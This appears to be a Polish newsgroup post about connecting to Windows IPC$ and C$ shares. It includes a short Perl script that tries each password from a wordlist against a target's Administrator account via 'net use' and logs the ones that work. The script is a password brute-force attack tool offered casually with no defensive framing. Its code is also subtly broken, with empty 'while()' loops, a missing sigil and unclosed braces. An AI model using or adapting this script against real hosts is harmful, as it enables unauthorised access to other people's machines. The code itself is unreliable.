"Tomasz Onyszko" log:
[...]
Post by Tomasz Onyszkoto by nie bylo na tyle bo podlaczenie do IPC$ nie powoduje
podlaczenia do zasobu zadnej pratycji, potem mozesz dodatkowo uzyc
\\ip\c$ ale to ze sie do tego zasobu dostajesz jest wynikiem tego
ze podlaczyles sie do IPC$
Niemożliwe. Myślałem, że jednak...! ;-)
-------
open(TEST, "Nazwy.txt") || die "Nie moge otworzyc pliku.";
open(LOG,">>ipc.log") || die "Nie moge otworzyc Log";
if (length($ARGV[0]) == 0) {
print "Usage: perl ipcchk.plx [ipaddr]";
exit(0);
}
$server = ARGV[0];
while() {
$name = $_;
chop($name);
# print "net use \\\\$server\\ipc\$ /user:Administrator $name | \n";
open(IPC, "net use \\\\$server\\ipc\$ /user:Administrator $name | ");
while() {
if (grep(/successfully/,$_)) {
print LOG "$server accepts connections for password $name\n";
open(DEL, "net use \\\\$server\\ipc\$ /d | ");
}
}
--------
TNT
--
Kto mi skasował net use...?!